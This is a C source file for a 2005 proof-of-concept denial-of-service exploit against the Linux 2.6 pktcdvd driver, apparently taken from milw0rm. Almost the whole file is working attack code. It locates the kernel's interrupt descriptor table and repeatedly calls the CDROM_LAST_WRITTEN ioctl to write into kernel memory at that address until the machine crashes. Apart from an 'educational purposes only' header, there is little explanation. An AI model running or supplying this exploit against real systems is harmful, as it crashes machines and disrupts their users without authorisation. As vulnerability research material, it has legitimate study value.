137 lines
No EOL
2.5 KiB
C
137 lines
No EOL
2.5 KiB
C
/* pktcdvd_dos.c proof-of-concept
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* This is only a lame POC which will crash the machine, no root shell here.
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* --- alert7
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* 2005-5-15
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* the vulnerability in 2.6 up to and including 2.6.12-rc4
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*
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* gcc -o pktcdvd_dos pktcdvd_dos.c
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*
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* NOTE: require user can read pktcdvd block device
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* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
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* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
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* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
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*/
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#define _GNU_SOURCE
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#include <stdio.h>
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#include <stdlib.h>
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#include <errno.h>
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#include <string.h>
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#include <unistd.h>
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#include <fcntl.h>
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#include <signal.h>
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#include <paths.h>
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#include <grp.h>
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#include <setjmp.h>
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#include <stdint.h>
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#include <sys/mman.h>
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#include <sys/ipc.h>
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#include <sys/shm.h>
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#include <sys/ucontext.h>
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#include <sys/wait.h>
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#include <asm/ldt.h>
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#include <asm/page.h>
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#include <asm/segment.h>
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#include <linux/unistd.h>
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#include <linux/linkage.h>
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#include <sys/types.h>
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#include <sys/stat.h>
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#include <fcntl.h>
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#include <linux/sysctl.h>
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#include <linux/cdrom.h>
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#define __NR_sys_ioctl __NR_ioctl
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#define PKTCDVDDEVICE "/dev/hdc"
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static inline _syscall3(int, sys_ioctl, int ,fd,int, cmd,unsigned long, arg);
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struct idtr {
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unsigned short limit;
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unsigned int base;
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} __attribute__ ((packed));
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unsigned int get_addr_idt() {
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struct idtr idtr;
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asm("sidt %0" : "=m" (idtr));
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return idtr.base;
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}
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struct desc_struct {
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unsigned long a,b;
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};
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int main(int argc,char **argv)
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{
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unsigned int ptr_idt;
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int iret ;
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int fd;
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printf("[++]user stack addr %p \n",&ptr_idt);
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if ( ( (unsigned long )&ptr_idt >>24)==0xfe){
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printf("[--]this kernel patched 4g/4g patch,no vulnerability!\n");
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return -1;
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}
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ptr_idt=get_addr_idt();
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printf("[++]IDT Addr %p \n",ptr_idt);
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fd = open(PKTCDVDDEVICE,O_RDONLY);
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if (fd ==-1)
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{
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printf("[--]");
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fflush(stdout);
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perror("open");
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return -1;
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}
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unsigned long WriteTo ;
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if ( (ptr_idt>>24)==0xc0){
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printf("[++]this OS in Real Linux\n");
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WriteTo= ptr_idt;
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}else{
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printf("[++]this OS maybe in VMWARE\n");
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WriteTo = 0xc0100000;
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}
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printf("[++]call sys_ioctl will crash machine\n");
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fflush(stdout);
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int loopi;
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for (loopi=0;loopi<0x100000 ;loopi++ )
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{
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printf("[++]will write data at 0x%x\n",WriteTo+loopi*4);
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fflush(stdout);
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iret = sys_ioctl(fd,
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CDROM_LAST_WRITTEN,
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WriteTo+loopi*4);
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if (iret ==-1)
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{
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printf("[--]");
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fflush(stdout);
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perror("ioctl");
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//if in VMWARE ,rewrite ptr_idt adress will failed
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printf("[--]still aliving\n");
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close(fd);
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return -1;
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}
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}
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close(fd);
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return 0;
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}
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// milw0rm.com [2005-05-17]
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